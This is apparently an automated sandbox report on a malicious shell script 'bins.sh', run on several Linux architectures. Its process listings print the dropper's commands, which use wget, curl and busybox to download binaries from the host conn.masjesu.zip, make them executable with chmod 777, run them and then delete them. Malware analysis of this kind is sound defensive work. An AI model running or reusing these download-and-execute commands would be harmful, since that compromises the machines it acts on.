Analysis Overview
SHA256
cc389826e1c69d374e663bd661f142219337efc77291a8e24d98490ff36d9b1e
Threat Level: Shows suspicious behavior
The file bins.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Writes file to tmp directory
System Network Configuration Discovery
Reads runtime system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 08:58
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 08:58
Reported
2024-11-25 09:01
Platform
ubuntu1804-amd64-20240729-en
Max time kernel
148s
Max time network
131s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| GB | 84.17.50.8:443 | tcp | |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 89.187.167.39:443 | 1527653184.rsc.cdn77.org | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 08:58
Reported
2024-11-25 09:01
Platform
debian9-armhf-20240611-en
Max time kernel
148s
Max time network
27s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 08:58
Reported
2024-11-25 09:01
Platform
debian9-mipsbe-20240418-en
Max time kernel
134s
Max time network
143s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db | /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db | /usr/bin/wget | N/A |
| File opened for modification | /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db | /usr/bin/curl | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/bin/chmod
[chmod 777 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
[./rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/bin/rm
[rm rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
| MD5 | 3ca8decdb1e52c423c521bfff02ac200 |
| SHA1 | 8621ecd6807109b8541912ad9e134f6fb49bfd48 |
| SHA256 | dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f |
| SHA512 | b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 08:58
Reported
2024-11-25 09:01
Platform
debian9-mipsel-20240226-en
Max time kernel
139s
Max time network
151s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db | /usr/bin/wget | N/A |
| File opened for modification | /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db | /usr/bin/curl | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
| MD5 | 3ca8decdb1e52c423c521bfff02ac200 |
| SHA1 | 8621ecd6807109b8541912ad9e134f6fb49bfd48 |
| SHA256 | dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f |
| SHA512 | b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a |